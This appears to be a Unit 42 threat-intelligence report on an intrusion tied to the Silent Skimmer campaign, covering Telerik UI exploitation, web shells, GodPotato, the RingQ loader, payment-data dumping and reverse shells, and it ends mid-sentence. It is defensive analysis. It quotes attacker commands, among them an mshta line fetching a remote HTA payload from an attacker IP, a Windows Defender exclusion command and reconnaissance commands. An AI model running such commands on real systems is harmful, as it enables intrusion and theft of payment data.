#ot-lst-cnt{max-height:none;overflow:initial}#onetrust-pc-sdk #ot-lst-cnt.no-results{height:auto}#onetrust-pc-sdk input{font-size:1em !important}#onetrust-pc-sdk p{font-size:.6em}#onetrust-pc-sdk #ot-fltr-modal{width:100%;top:0}#onetrust-pc-sdk ul li p,#onetrust-pc-sdk .category-vendors-list-handler,#onetrust-pc-sdk .category-vendors-list-handler+a,#onetrust-pc-sdk .category-host-list-handler{font-size:.6em}#onetrust-pc-sdk.ot-shw-fltr #ot-anchor{display:none !important}#onetrust-pc-sdk.ot-shw-fltr #ot-pc-lst{height:100% !important;overflow:hidden;top:0px}#onetrust-pc-sdk.ot-shw-fltr #ot-fltr-cnt{margin:0;height:100%;max-height:none;padding:10px;top:0;width:calc(100% - 20px);position:absolute;right:0;left:0;max-width:none}#onetrust-pc-sdk.ot-shw-fltr .ot-fltr-scrlcnt{max-height:calc(100% - 65px)}}
            #onetrust-consent-sdk #onetrust-pc-sdk,
                #onetrust-consent-sdk #ot-search-cntr,
                #onetrust-consent-sdk #onetrust-pc-sdk .ot-switch.ot-toggle,
                #onetrust-consent-sdk #onetrust-pc-sdk ot-grp-hdr1 .checkbox,
                #onetrust-consent-sdk #onetrust-pc-sdk #ot-pc-title:after
                ,#onetrust-consent-sdk #onetrust-pc-sdk #ot-sel-blk,
                        #onetrust-consent-sdk #onetrust-pc-sdk #ot-fltr-cnt,
                        #onetrust-consent-sdk #onetrust-pc-sdk #ot-anchor {
                    background-color: #000000;
                }
               
            #onetrust-consent-sdk #onetrust-pc-sdk h3,
                #onetrust-consent-sdk #onetrust-pc-sdk h4,
                #onetrust-consent-sdk #onetrust-pc-sdk h5,
                #onetrust-consent-sdk #onetrust-pc-sdk h6,
                #onetrust-consent-sdk #onetrust-pc-sdk p,
                #onetrust-consent-sdk #onetrust-pc-sdk #ot-ven-lst .ot-ven-opts p,
                #onetrust-consent-sdk #onetrust-pc-sdk #ot-pc-desc,
                #onetrust-consent-sdk #onetrust-pc-sdk #ot-pc-title,
                #onetrust-consent-sdk #onetrust-pc-sdk .ot-li-title,
                #onetrust-consent-sdk #onetrust-pc-sdk .ot-sel-all-hdr span,
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                #onetrust-consent-sdk #onetrust-pc-sdk #ot-pc-lst .ot-ven-name,
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#onetrust-pc-sdk .ot-accordion-layout .ot-plus-minus span {
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}
#onetrust-pc-sdk .ot-accordion-layout .ot-tgl input:checked+.ot-switch .ot-switch-nob:before{
    background-color: #029c4f;
    border-color: #029c4f;
}
#onetrust-pc-sdk .ot-accordion-layout .ot-tgl input:checked+.ot-switch .ot-switch-nob {
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    border: 1px solid #029c4f;
}
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                    #ot-sdk-cookie-policy-v2.ot-sdk-cookie-policy h5,
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                    #ot-sdk-cookie-policy-v2.ot-sdk-cookie-policy #cookie-policy-description {
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                    #ot-sdk-cookie-policy-v2.ot-sdk-cookie-policy table th {
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              <div class="section-wrapper" id="section-1"><h2 id="section-1-title" data-section="scrollable"><a id="post-137319-_4lt92rr5muov"></a><strong>Executive Summary</strong></h2><p>In late May 2024, Unit 42 researchers observed an adversary compromising multiple web servers to gain access to the environment of a multinational organization headquartered in North America. Based on overlaps in adversary infrastructure and tools, as well as tactics, techniques and procedures (TTPs), it’s possible to attribute the activity identified to the same threat actor behind the Silent Skimmer campaign.</p><p>In September 2023, an online payment scraping campaign was uncovered and dubbed Silent Skimmer. Since then, there has been little to no news of Silent Skimmer – until now.</p><p>According to our research, the financially motivated threat actor behind the Silent Skimmer campaign is targeting organizations that host or create payment infrastructure and gateways. Unit 42 tracks the activity identified in this article as <a href="https://unit42.paloaltonetworks.com/from-activity-to-formal-naming/">CL-CRI-0941</a>.</p><p>Palo Alto Networks customers are better protected from these threats through <a href="https://www.paloaltonetworks.com/cortex/cortex-xdr" rel="noopener">Cortex XDR</a> and <a href="https://www.paloaltonetworks.com/cortex/cortex-xsiam" rel="noopener">XSIAM</a>, as well as <a href="https://www.paloaltonetworks.com/network-security/security-subscriptions" rel="noopener">Cloud-Delivered Security Services</a> including <a href="https://docs.paloaltonetworks.com/advanced-url-filtering/administration" target="_blank" rel="noopener">Advanced URL Filtering</a>, <a href="https://docs.paloaltonetworks.com/dns-security" target="_blank" rel="noopener">Advanced DNS Security</a>, <a href="https://www.paloaltonetworks.com/network-security/advanced-threat-prevention" rel="noopener">Advanced Threat Prevention</a> and <a href="https://docs.paloaltonetworks.com/wildfire" target="_blank" rel="noopener">Advanced WildFire</a>. <a href="https://www.paloaltonetworks.com/cortex/cortex-xpanse" rel="noopener">Cortex Xpanse</a> is able to identify internet-facing instances of Telerik UI. Organizations can engage the <a href="https://start.paloaltonetworks.com/contact-unit42.html" target="_blank" rel="noopener">Unit 42 Incident Response team</a> for specific assistance with this threat and others.</p><div class="table__wrapper"><table style="width: 100%;">
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<td style="width: 35%;"><b>Related Unit 42 Topics</b></td>
<td style="width: 100%;"><a href="https://unit42.paloaltonetworks.com/tag/remote-code-execution/" rel="noopener"><b>Remote Code Execution (RCE)</b></a></td>
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</table></div></div><div class="section-wrapper" id="section-2"><h2 id="section-2-title" data-section="scrollable"><a id="post-137319-_tsj7255kmuk2"></a><strong>Observed Activities and TTPs</strong></h2><p>In May 2024, Unit 42 researchers investigated an incident where attackers compromised multiple web servers to gain access to their environment and dump payment information. The threat actor gained an initial foothold on the servers by exploiting a couple of one-day Telerik user interface (UI) vulnerabilities.</p><p>Telerik UI is a popular framework for developing the user interface of <a href="https://dotnet.microsoft.com/en-us/apps/aspnet" target="_blank" rel="noopener">ASP.NET web applications</a>. The threat actor attempted to exploit two Telerik UI vulnerabilities to gain initial access to the environment:</p><ul>
<li><a href="https://nvd.nist.gov/vuln/detail/CVE-2017-11317" target="_blank" rel="noopener">CVE-2017-11317</a> — Unrestricted file upload via weak encryption</li>
<li><a href="https://nvd.nist.gov/vuln/detail/CVE-2019-18935" target="_blank" rel="noopener">CVE-2019-18935</a> — Remote code execution via insecure deserialization</li>
</ul><p>Adversaries commonly exploit both of these vulnerabilities. They are a part of CISA’s Known Exploited Vulnerabilities Catalog.</p><p>The vulnerabilities allow for remote code execution on servers running older, vulnerable versions of Telerik UI. We recommend upgrading to the <a href="https://www.telerik.com/support/whats-new/aspnet-ajax/release-history" target="_blank" rel="noopener">latest available version</a>.</p><p>Following the vulnerabilities' exploitation, the attacker executed multiple reconnaissance commands and gained persistence. The following commands were among those executed:</p><ul>
<li><span style="font-family: 'courier new', courier, monospace;">set</span></li>
<li><span style="font-family: 'courier new', courier, monospace;">whoami</span></li>
<li><span style="font-family: 'courier new', courier, monospace;">quser</span></li>
<li><span style="font-family: 'courier new', courier, monospace;">net user</span></li>
<li><span style="font-family: 'courier new', courier, monospace;">dir</span></li>
<li><span style="font-family: 'courier new', courier, monospace;">tasklist /svc</span></li>
<li><span style="font-family: 'courier new', courier, monospace;">ipconfig</span></li>
<li><span style="font-family: 'courier new', courier, monospace;">netstat -ano | findstr \"443\"</span></li>
<li><span style="font-family: 'courier new', courier, monospace;">net localgroup administrators</span></li>
<li><span style="font-family: 'courier new', courier, monospace;">dir c:\users\public</span></li>
<li><span style="font-family: 'courier new', courier, monospace;">"C:\Windows\system32\ARP.EXE" -a</span></li>
<li><span style="font-family: 'courier new', courier, monospace;">"C:\Windows\system32\systeminfo.exe"</span></li>
<li><span style="font-family: 'courier new', courier, monospace;">"C:\Windows\system32\reg.exe" query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions" /s</span></li>
<li><span style="font-family: 'courier new', courier, monospace;">cmd /c hostname</span></li>
</ul><p>The threat actor leveraged several techniques to achieve a foothold and execution onto the servers and environment.</p><p>The attacker uploaded multiple web shells, mainly to the following directories:</p><ul>
<li><span style="font-family: 'courier new', courier, monospace;">C:\Users\Public\Music\</span></li>
<li><span style="font-family: 'courier new', courier, monospace;">C:\WebRoot\Health Checks\Default\</span></li>
<li><span style="font-family: 'courier new', courier, monospace;">C:\WebRoot\Web Applications\*\*\Images\Common\</span></li>
<li><span style="font-family: 'courier new', courier, monospace;">C:\WebRoot\IIS\Web Applications\*\*\Images\Common\</span></li>
<li><span style="font-family: 'courier new', courier, monospace;">C:\WebRoot\IIS\Web Applications\Production\*\*\Images\Common\</span></li>
</ul><p>The attacker also dropped and executed multiple reverse shells, as we describe later in the <a href="#post-137319-_a63ybt6s65b8">Reverse Shells</a> section. These reverse shells were responsible for the rest of the executions we describe in this article.</p><p>We also observed that the threat actor used tunneling and reverse proxy tools such as <a href="https://github.com/editso/fuso" target="_blank" rel="noopener">Fuso</a> and <a href="https://github.com/fatedier/frp" target="_blank" rel="noopener">FRP</a>. These allowed the attacker to expose the exploited servers located behind a network address translation (NAT) or firewall to the internet.</p><p>We observed the following reverse proxy executions:</p><p><img class="alignnone wp-image-137324 lozad" data-src="https://unit42.paloaltonetworks.com/wp-content/uploads/2024/11/word-image-256475-137319-1.png" alt="Screenshot of bulleted list of the reverse proxy executions." width="600" height="116" data-srcset="https://unit42.paloaltonetworks.com/wp-content/uploads/2024/11/word-image-256475-137319-1.png 1494w, https://unit42.paloaltonetworks.com/wp-content/uploads/2024/11/word-image-256475-137319-1-786x152.png 786w, https://unit42.paloaltonetworks.com/wp-content/uploads/2024/11/word-image-256475-137319-1-768x148.png 768w" sizes="(max-width: 600px) 100vw, 600px"><div class="enlarge" style="bottom: 0px;"></div></p><p>We observed the attacker using <a href="https://github.com/BeichenDream/GodPotato" target="_blank" rel="noopener">GodPotato</a> for privilege escalation. GodPotato executed using a Base64-encoded PowerShell command that translated to the command shown in Figure 1 below.</p><figure id="attachment_137326" aria-describedby="caption-attachment-137326" style="width: 900px" class="wp-caption alignnone"><img class="wp-image-137326 lozad" data-src="https://unit42.paloaltonetworks.com/wp-content/uploads/2024/11/word-image-259005-137319-2.png" alt="Screenshot of a command line interface displaying a PowerShell code snippet." width="900" height="57" data-srcset="https://unit42.paloaltonetworks.com/wp-content/uploads/2024/11/word-image-259005-137319-2.png 1895w, https://unit42.paloaltonetworks.com/wp-content/uploads/2024/11/word-image-259005-137319-2-786x50.png 786w, https://unit42.paloaltonetworks.com/wp-content/uploads/2024/11/word-image-259005-137319-2-768x49.png 768w, https://unit42.paloaltonetworks.com/wp-content/uploads/2024/11/word-image-259005-137319-2-1536x97.png 1536w" sizes="(max-width: 900px) 100vw, 900px"><figcaption id="caption-attachment-137326" class="wp-caption-text">Figure 1. GodPotato download and execution.</figcaption><div class="enlarge" style="bottom: 34.69px;"></div></figure><p>The attacker retrieved other GodPotato payloads from <span style="font-family: 'courier new', courier, monospace;">http://48[.]218.138.60/a.txt</span> and <span style="font-family: 'courier new', courier, monospace;">http://48[.]218.138[.]60/m.txt</span>. They used these to execute <span style="font-family: 'courier new', courier, monospace;">powershell -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath D:\</span> to add <span style="font-family: 'courier new', courier, monospace;">D:\</span> to the Windows Defender exclusion list to evade detection.</p><h3 data-section="scrollable" id="section2SubHeading1"><a id="post-137319-_ef1rrxlilmm1"></a>Native C++ Code Embedded within .NET Binaries</h3><p>To bypass the security measures and make the analysis process more difficult, the threat actor used .NET binaries with native C++ code embedded by leveraging <a href="https://learn.microsoft.com/en-us/cpp/dotnet/mixed-native-and-managed-assemblies?view=msvc-170" target="_blank" rel="noopener">mixed mode assemblies</a>. The threat actor used this as a way to include code from one programming language embedded in another, which is an old technique some programming languages natively support.</p><p>In this case, mixed-mode assemblies were used to embed native C++ code within a .NET binary. As a result, some .NET binary analysis tools are unable to analyze the embedded (<a href="https://learn.microsoft.com/en-us/dotnet/standard/managed-code" target="_blank" rel="noopener">unmanaged</a>) code. This requires researchers to put in extra effort to identify the malicious payload. In 2022, <a href="https://www.mandiant.com/sites/default/files/2022-11/06-alamode.pdf" target="_blank" rel="noopener">Mandiant [PDF]</a> used a sample employing this technique in their annual FLARE-On Challenge.</p><p>The threat actor used this feature to create .NET wrapper binaries to execute malicious code. So when analyzing the binaries with .NET analysis tools like dnSpy for instance, there is no code to be executed as shown in Figure 2.</p><figure id="attachment_137328" aria-describedby="caption-attachment-137328" style="width: 400px" class="wp-caption alignnone"><img class="wp-image-137328 lozad" data-src="https://unit42.paloaltonetworks.com/wp-content/uploads/2024/11/word-image-261509-137319-3.png" alt="Screenshot of a code editor displaying a simple code snippet with the 'using System;' directive and an internal class declaration named '<Module>'." width="400" height="183"><figcaption id="caption-attachment-137328" class="wp-caption-text">Figure 2. Empty .NET code.</figcaption><div class="enlarge" style="bottom: 34.69px;"></div></figure><p>Although this is not always the case, Figure 3 shows how dnSpy can identify the usage of mixed mode assemblies and warns about the unmanaged code, also showing the native entry point.</p><figure id="attachment_137330" aria-describedby="caption-attachment-137330" style="width: 550px" class="wp-caption alignnone"><img class="wp-image-137330 lozad" data-src="https://unit42.paloaltonetworks.com/wp-content/uploads/2024/11/word-image-263861-137319-4.png" alt="A screenshot of code indicating that the assembly contains unmanaged code, with specific sections highlighted, using the .NET Framework 4." width="550" height="274"><figcaption id="caption-attachment-137330" class="wp-caption-text">Figure 3. dnSpy warning on the usage of unmanaged code.</figcaption><div class="enlarge" style="bottom: 34.69px;"></div></figure><p>When jumping to the native entry point address, it is possible to identify the native code as shown in Figures 4 and 5.</p><figure id="attachment_137332" aria-describedby="caption-attachment-137332" style="width: 900px" class="wp-caption alignnone"><img class="wp-image-137332 lozad" data-src="https://unit42.paloaltonetworks.com/wp-content/uploads/2024/11/word-image-266677-137319-5.png" alt="Screenshot displaying source code in an IDE, featuring lines of assembly language associated with the DllMainCRTStartup function. Some of the code is highlighted in a red box and a segment is underlined in red on the first line." width="900" height="495" data-srcset="https://unit42.paloaltonetworks.com/wp-content/uploads/2024/11/word-image-266677-137319-5.png 1594w, https://unit42.paloaltonetworks.com/wp-content/uploads/2024/11/word-image-266677-137319-5-786x432.png 786w, https://unit42.paloaltonetworks.com/wp-content/uploads/2024/11/word-image-266677-137319-5-1274x700.png 1274w, https://unit42.paloaltonetworks.com/wp-content/uploads/2024/11/word-image-266677-137319-5-768x422.png 768w, https://unit42.paloaltonetworks.com/wp-content/uploads/2024/11/word-image-266677-137319-5-1536x844.png 1536w" sizes="(max-width: 900px) 100vw, 900px"><figcaption id="caption-attachment-137332" class="wp-caption-text">Figure 4. Native entry point content.</figcaption><div class="enlarge" style="bottom: 34.69px;"></div></figure><figure id="attachment_137334" aria-describedby="caption-attachment-137334" style="width: 600px" class="wp-caption alignnone"><img class="wp-image-137334 lozad" data-src="https://unit42.paloaltonetworks.com/wp-content/uploads/2024/11/word-image-270019-137319-6.png" alt="Screenshot of a code snippet written in C/C++ that appears to handle process attachment and detachment with function calls identified by markers pointing to specific lines." width="600" height="395" data-srcset="https://unit42.paloaltonetworks.com/wp-content/uploads/2024/11/word-image-270019-137319-6.png 977w, https://unit42.paloaltonetworks.com/wp-content/uploads/2024/11/word-image-270019-137319-6-669x440.png 669w, https://unit42.paloaltonetworks.com/wp-content/uploads/2024/11/word-image-270019-137319-6-768x505.png 768w" sizes="(max-width: 600px) 100vw, 600px"><figcaption id="caption-attachment-137334" class="wp-caption-text">Figure 5. Native code calling the function written by the threat actor.</figcaption><div class="enlarge" style="bottom: 34.69px;"></div></figure><p>By following the execution flow, it is possible to reach the malicious command executed, as identified in Figure 6. The malicious command uses <a href="https://learn.microsoft.com/en-us/previous-versions/windows/embedded/aa940701(v=winembedded.5)?redirectedfrom=MSDN" target="_blank" rel="noopener">Microsoft HTML Application Host</a> (MSHTA) <a href="https://www.paloaltonetworks.com/blog/security-operations/playbook-of-the-week-fending-off-living-off-the-land-attacks/" rel="noopener">Living Off the Land Binaries</a> (LOLBin) to download and execute a remote <a href="https://learn.microsoft.com/en-us/previous-versions//ms536471(v=vs.85)?redirectedfrom=MSDN" target="_blank" rel="noopener">HTA</a> (HTML Application) payload. It then <a href="https://attack.mitre.org/techniques/T1218/005/" target="_blank" rel="noopener">proxies the execution</a> of the malicious code through a legitimate and official binary.</p><figure id="attachment_137336" aria-describedby="caption-attachment-137336" style="width: 900px" class="wp-caption alignnone"><img class="wp-image-137336 lozad" data-src="https://unit42.paloaltonetworks.com/wp-content/uploads/2024/11/word-image-272732-137319-7.png" alt="Image depicting a computer screen with a flowchart and assembly code. The flowchart includes steps labeled &quot;detonation proc begin,&quot; &quot;short_exit,&quot; and &quot;detonation end,&quot; connected by arrows. The code includes commands related to network data handling, and there is an emphasized portion showing a network address &quot;http://20.20.240.16/SecurityDataEntry.stra&quot;. Red arrows highlight the connection between the flowchart and specific parts of the code." width="900" height="391" data-srcset="https://unit42.paloaltonetworks.com/wp-content/uploads/2024/11/word-image-272732-137319-7.png 1115w, https://unit42.paloaltonetworks.com/wp-content/uploads/2024/11/word-image-272732-137319-7-786x341.png 786w, https://unit42.paloaltonetworks.com/wp-content/uploads/2024/11/word-image-272732-137319-7-768x333.png 768w" sizes="(max-width: 900px) 100vw, 900px"><figcaption id="caption-attachment-137336" class="wp-caption-text">Figure 6. Embedded native code executing the malicious command.</figcaption><div class="enlarge" style="bottom: 34.69px;"></div></figure><h3 data-section="scrollable" id="section2SubHeading2"><a id="post-137319-_up3lnvvq63qw"></a>RingQ Loader</h3><p>During the investigation, Unit 42 researchers observed the threat actor leveraging the RingQ loader as part of their arsenal. The RingQ loader comprises two main components. One is a tool that creates an encrypted file containing the binary to be loaded and executed, and the other is the loader itself, which <a href="https://attack.mitre.org/techniques/T1620/" target="_blank" rel="noopener">reflectively loads the binary</a>.</p><p>RingQ can also act as a downloader if configured to do so. Figure 7 shows the logic of the loader and the execution branches to load the encrypted file locally or remotely from a URL specified in the binary resources.</p><figure id="attachment_137338" aria-describedby="caption-attachment-137338" style="width: 602px" class="wp-caption alignnone"><img class="wp-image-137338 lozad" data-src="https://unit42.paloaltonetworks.com/wp-content/uploads/2024/11/word-image-275446-137319-8.png" alt="Screenshot of a computer screen displaying code in a text editor. Various arrows indicate the most relevant parts of the code. " width="602" height="788" data-srcset="https://unit42.paloaltonetworks.com/wp-content/uploads/2024/11/word-image-275446-137319-8.png 602w, https://unit42.paloaltonetworks.com/wp-content/uploads/2024/11/word-image-275446-137319-8-336x440.png 336w, https://unit42.paloaltonetworks.com/wp-content/uploads/2024/11/word-image-275446-137319-8-535x700.png 535w" sizes="(max-width: 602px) 100vw, 602px"><figcaption id="caption-attachment-137338" class="wp-caption-text">Figure 7. Execution logic source code from the GitHub repository.</figcaption><div class="enlarge" style="bottom: 34.69px;"></div></figure><p>The samples identified in the activity covered in this article use different methods to load the encrypted payload. Figure 8 shows the value set to the Portable Executable (PE) string table resource of the RingQ loader to download the encrypted payload from a remote URL.</p><figure id="attachment_137340" aria-describedby="caption-attachment-137340" style="width: 364px" class="wp-caption alignnone"><img class="wp-image-137340 lozad" data-src="https://unit42.paloaltonetworks.com/wp-content/uploads/2024/11/word-image-278509-137319-9.png" alt="Text from a code editor showing a STRINGTABLE in a programming language, including a URL link in the fourth line, configured for simplified Chinese language settings." width="364" height="100"><figcaption id="caption-attachment-137340" class="wp-caption-text">Figure 8. Remote location of the encrypted payload using the RingQ author nickname as the filename.</figcaption><div class="enlarge" style="bottom: 34.69px;"></div></figure><p>The GitHub repository of the RingQ loader also includes a tool (QVM250) to tweak the resources of the PE file and include resources from original binaries in an attempt to trick and bypass some security measures. In the activity identified, one of the samples was mimicking PuTTY, a common SSH client for MS Windows (Figure 9).</p><figure id="attachment_137342" aria-describedby="caption-attachment-137342" style="width: 900px" class="wp-caption alignnone"><img class="wp-image-137342 lozad" data-src="https://unit42.paloaltonetworks.com/wp-content/uploads/2024/11/word-image-281067-137319-10.png" alt="Screenshot of a software interface for PuTTY, displaying an &quot;About PuTTY&quot; dialog box with version information and buttons for viewing the license, visiting the website, and closing the dialog." width="900" height="362" data-srcset="https://unit42.paloaltonetworks.com/wp-content/uploads/2024/11/word-image-281067-137319-10.png 1046w, https://unit42.paloaltonetworks.com/wp-content/uploads/2024/11/word-image-281067-137319-10-786x316.png 786w, https://unit42.paloaltonetworks.com/wp-content/uploads/2024/11/word-image-281067-137319-10-768x309.png 768w" sizes="(max-width: 900px) 100vw, 900px"><figcaption id="caption-attachment-137342" class="wp-caption-text">Figure 9. Fake resources included in the loader.</figcaption><div class="enlarge" style="bottom: 34.69px;"></div></figure><h3 data-section="scrollable" id="section2SubHeading3"><a id="post-137319-_29uj6zn1x8gj"></a>Compiled Python - Dumping Payment Information</h3><p>After the adversary secured web shell access on the server, they wrote a Windows executable to disk with a <span style="font-family: 'courier new', courier, monospace;">.txt</span> file extension. Based on strings in the binary, we could determine that it was a Python script compiled to an executable with <a href="https://pyinstaller.org/en/stable/" target="_blank" rel="noopener">PyInstaller</a> (Figure 10).</p><figure id="attachment_137344" aria-describedby="caption-attachment-137344" style="width: 900px" class="wp-caption alignnone"><img class="wp-image-137344 lozad" data-src="https://unit42.paloaltonetworks.com/wp-content/uploads/2024/11/word-image-283841-137319-11.png" alt="Command Prompt window open on a desktop showing error messages related to PyInstaller and the conversion of file paths to UTF-8. The prompt is located at C:\malware\strings." width="900" height="273" data-srcset="https://unit42.paloaltonetworks.com/wp-content/uploads/2024/11/word-image-283841-137319-11.png 1344w, https://unit42.paloaltonetworks.com/wp-content/uploads/2024/11/word-image-283841-137319-11-786x239.png 786w, https://unit42.paloaltonetworks.com/wp-content/uploads/2024/11/word-image-283841-137319-11-768x233.png 768w" sizes="(max-width: 900px) 100vw, 900px"><figcaption id="caption-attachment-137344" class="wp-caption-text">Figure 10. PyInstaller compilation strings.</figcaption><div class="enlarge" style="bottom: 34.69px;"></div></figure><p>Using a tool like <a href="https://github.com/extremecoders-re/pyinstxtractor" target="_blank" rel="noopener">PyInstaller Extractor</a>, we could reverse that process and extract the compiled Python bytecode. The bytecode is readable but harder to understand. By using a tool like <a href="https://github.com/rocky/python-uncompyle6/" target="_blank" rel="noopener">uncompyle6</a>, we reverted the Python bytecode to its original Python form.</p><p>The nearly 8 MB original executable boils down to a simple Python script, shown below in Figure 11. The rest of the files were artifacts of PyInstaller that allow for proper packaging and execution. The script itself is simple and uses hard-coded credentials to connect to a database in the victim’s organization and dump payment information to a <span style="font-family: 'courier new', courier, monospace;">.csv</span> file.</p><figure id="attachment_137346" aria-describedby="caption-attachment-137346" style="width: 500px" class="wp-caption alignnone"><img class="wp-image-137346 lozad" data-src="https://unit42.paloaltonetworks.com/wp-content/uploads/2024/11/word-image-286781-137319-12.png" alt="Screenshot of Python code using the pyodbc module to run a SQL query on a database, fetch data, and write it to a CSV file named 'out.csv'." width="500" height="270" data-srcset="https://unit42.paloaltonetworks.com/wp-content/uploads/2024/11/word-image-286781-137319-12.png 1289w, https://unit42.paloaltonetworks.com/wp-content/uploads/2024/11/word-image-286781-137319-12-786x424.png 786w, https://unit42.paloaltonetworks.com/wp-content/uploads/2024/11/word-image-286781-137319-12-768x415.png 768w" sizes="(max-width: 500px) 100vw, 500px"><figcaption id="caption-attachment-137346" class="wp-caption-text">Figure 11. Python script for executable.</figcaption><div class="enlarge" style="bottom: 34.69px;"></div></figure><h3 data-section="scrollable" id="section2SubHeading4"><a id="post-137319-_a63ybt6s65b8"></a>Reverse Shells</h3><p>Once the threat actor gained a foothold on the servers by exploiting the Telerik vulnerabilities, they attempted to achieve persistence by dropping multiple web shells as well as multiple PowerShell reverse shells.</p><p>During our investigation, we observed that the threat actor installed reverse shells by executing multiple MSHTA commands that retrieved an <span style="font-family: 'courier new', courier, monospace;">.hta</span> script from a hard-coded IP address, such as the following:</p><ul>
<li><span style="font-family: 'courier new', courier, monospace;">mshta http://172[.]86.96.245/129-80.hta</span> (the <span style="font-family: 'courier new', courier, monospace;">.hta</span> file script shown in Figure 12)</li>
</ul><figure id="attachment_137348" aria-describedby="caption-attachment-137348" style="width: 900px" class="wp-caption alignnone"><img class="wp-image-137348 lozad" data-src="https://unit42.paloaltonetworks.com/wp-content/uploads/2024/11/word-image-289895-137319-13.png" alt="This image shows a computer screen with a script written in a programming language. The screen displays multiple lines of code." width="900" height="380" data-srcset="https://unit42.paloaltonetworks.com/wp-content/uploads/2024/11/word-image-289895-137319-13.png 2048w, https://unit42.paloaltonetworks.com/wp-content/uploads/2024/11/word-image-289895-137319-13-786x332.png 786w, https://unit42.paloaltonetworks.com/wp-content/uploads/2024/11/word-image-289895-137319-13-1657x700.png 1657w, https://unit42.paloaltonetworks.com/wp-content/uploads/2024/11/word-image-289895-137319-13-768x324.png 768w, https://unit42.paloaltonetworks.com/wp-content/uploads/2024/11/word-image-289895-137319-13-1536x649.png 1536w" sizes="(max-width: 900px) 100vw, 900px"><figcaption id="caption-attachment-137348" class="wp-caption-text">Figure 12. <span style="font-family: 'courier new', courier, monospace;">129-80.hta</span> script content.</figcaption><div class="enlarge" style="bottom: 35.69px;"></div></figure><p>We observed these executions with multiple different IP addresses and file names. The IP address in the URL was also used as the command and control (C2) IP address for the reverse shell. The filename represented the port in most cases, which is shown in the first two lines in Figure 12. The <span style="font-family: 'courier new', courier, monospace;">.hta</span> file shown in Figure 13 is a VBScript that executes a Base64-encoded PowerShell command that decodes to a PowerShell script.</p><figure id="attachment_137350" aria-describedby="caption-attachment-137350" style="width: 900px" class="wp-caption alignnone"><img class="wp-image-137350 lozad" data-src="https://unit42.paloaltonetworks.com/wp-content/uploads/2024/11/word-image-294029-137319-14.png" alt="Screenshot of programming code on, set in a text editor with highlighted syntax." width="900" height="872" data-srcset="https://unit42.paloaltonetworks.com/wp-content/uploads/2024/11/word-image-294029-137319-14.png 1523w, https://unit42.paloaltonetworks.com/wp-content/uploads/2024/11/word-image-294029-137319-14-454x440.png 454w, https://unit42.paloaltonetworks.com/wp-content/uploads/2024/11/word-image-294029-137319-14-723x700.png 723w, https://unit42.paloaltonetworks.com/wp-content/uploads/2024/11/word-image-294029-137319-14-768x744.png 768w" sizes="(max-width: 900px) 100vw, 900px"><figcaption id="caption-attachment-137350" class="wp-caption-text">Figure 13. The reverse shellcode.</figcaption><div class="enlarge" style="bottom: 34.69px;"></div></figure><p>The reverse shells were also installed by downloading a <span style="font-family: 'courier new', courier, monospace;">.ps1</span> script, which is the reverse shell, using PowerShell's <span style="font-family: 'courier new', courier, monospace;">Invoke-WebRequest</span> utility and executing it (Figure 14).</p><figure id="attachment_137352" aria-describedby="caption-attachment-137352" style="width: 900px" class="wp-caption alignnone"><img class="wp-image-137352 lozad" data-src="https://unit42.paloaltonetworks.com/wp-content/uploads/2024/11/word-image-297267-137319-15.png" alt="Screenshot of PowerShell code. " width="900" height="51" data-srcset="https://unit42.paloaltonetworks.com/wp-content/uploads/2024/11/word-image-297267-137319-15.png 2048w, https://unit42.paloaltonetworks.com/wp-content/uploads/2024/11/word-image-297267-137319-15-786x44.png 786w, https://unit42.paloaltonetworks.com/wp-content/uploads/2024/11/word-image-297267-137319-15-1920x108.png 1920w, https://unit42.paloaltonetworks.com/wp-content/uploads/2024/11/word-image-297267-137319-15-768x43.png 768w, https://unit42.paloaltonetworks.com/wp-content/uploads/2024/11/word-image-297267-137319-15-1536x86.png 1536w" sizes="(max-width: 900px) 100vw, 900px"><figcaption id="caption-attachment-137352" class="wp-caption-text">Figure 14. PowerShell executes <span style="font-family: 'courier new', courier, monospace;">Invoke-WebRequest</span> utility.</figcaption><div class="enlarge" style="bottom: 35.69px;"></div></figure></div><div class="section-wrapper" id="section-3"><h2 id="section-3-title" data-section="scrollable"><a id="post-137319-_dedno52cgv8s"></a><strong>Attribution and Overlaps</strong></h2><p>One of the Cobalt Strike C2 IP addresses identified in this activity matches an IP address mentioned in a <a href="https://news.sophos.com/en-us/2023/07/26/into-the-tank-with-nitrogen/" target="_blank" rel="noopener">Sophos X-Ops</a> report, where a similar infection chain resulted in an Ambitious Scorpius (BlackCat) ransomware attack. Since Ambitious Scorpius stopped operations after performing an <a href="https://www.bleepingcomputer.com/news/security/blackcat-ransomware-shuts-down-in-exit-scam-blames-the-feds/" target="_blank" rel="noopener">exit scam</a>, this overlap may belong to an affiliate or a cybercrime cluster used across both attacks.</p><p>The BlackBerry Research and Intelligence Team first wrote about the <a href="https://blogs.blackberry.com/en/2023/09/silent-skimmer-online-payment-scraping-campaign-shifts-targets-from-apac-to-nala" target="_blank" rel="noopener">Silent Skimmer</a> campaign back in September 2023. LevelBlue Labs later <a href="https://cybersecurity.att.com/blogs/security-essentials/dont-check-out-credit-card-skimming-activity-observed" target="_blank" rel="noopener">published their own findings</a>. Since then, we haven't heard much about the campaign.</p><p>A significant number of the TTPs we observed in our investigation align with the ones described in BlackBerry's blog starting from the initial access vector, which is the exploitation of publicly facing web servers. Specifically, both campaigns involved the exploitation of Telerik UI vulnerabilities that are over 5 years old.</p><p>Following initial access, there were mostly identical techniques of installing reverse shells by executing <span style="font-family: 'courier new', courier, monospace;">mshta.exe</span>, which downloads and executes an <span style="font-family: 'courier new', courier, monospace;">.hta</span> script. While in BlackBerry's incident, the <span style="font-family: 'courier new', courier, monospace;">.hta</span> file is a VBScript that downloads and executes a <span style="font-family: 'courier new', courier, monospace;">.ps1</span> script using <span style="font-family: 'courier new', courier, monospace;">certutil.exe</span>, which is the reverse shell. In the incident Unit 42 was involved in, the <span style="font-family: 'courier new', courier, monospace;">.hta</span> file is a VBScript that executes a PowerShell encoded command that decodes to a PowerShell script, which is the final reverse shell.</p><p>In the incident we were involved in, the attackers used reverse proxy tools and web shells to maintain persistence and control over compromised systems. Additionally, they leveraged GodPotato (a privilege escalation tool) and deployed Cobalt Strike for post-exploitation activities. These findings align closely with the tactics detailed in the BlackBerry blog.</p><p>The main difference between the campaigns is the method used to extract the payment and financial data. In the campaign described by BlackBerry, the attackers append malicious code to different payment-related pages that scrape the payment data. In the campaign we observed, the threat actor used a compiled Python script to connect to a database in the victim’s organization and then dumped payment information to a CSV file for exfiltration.</p><p>With all this information, 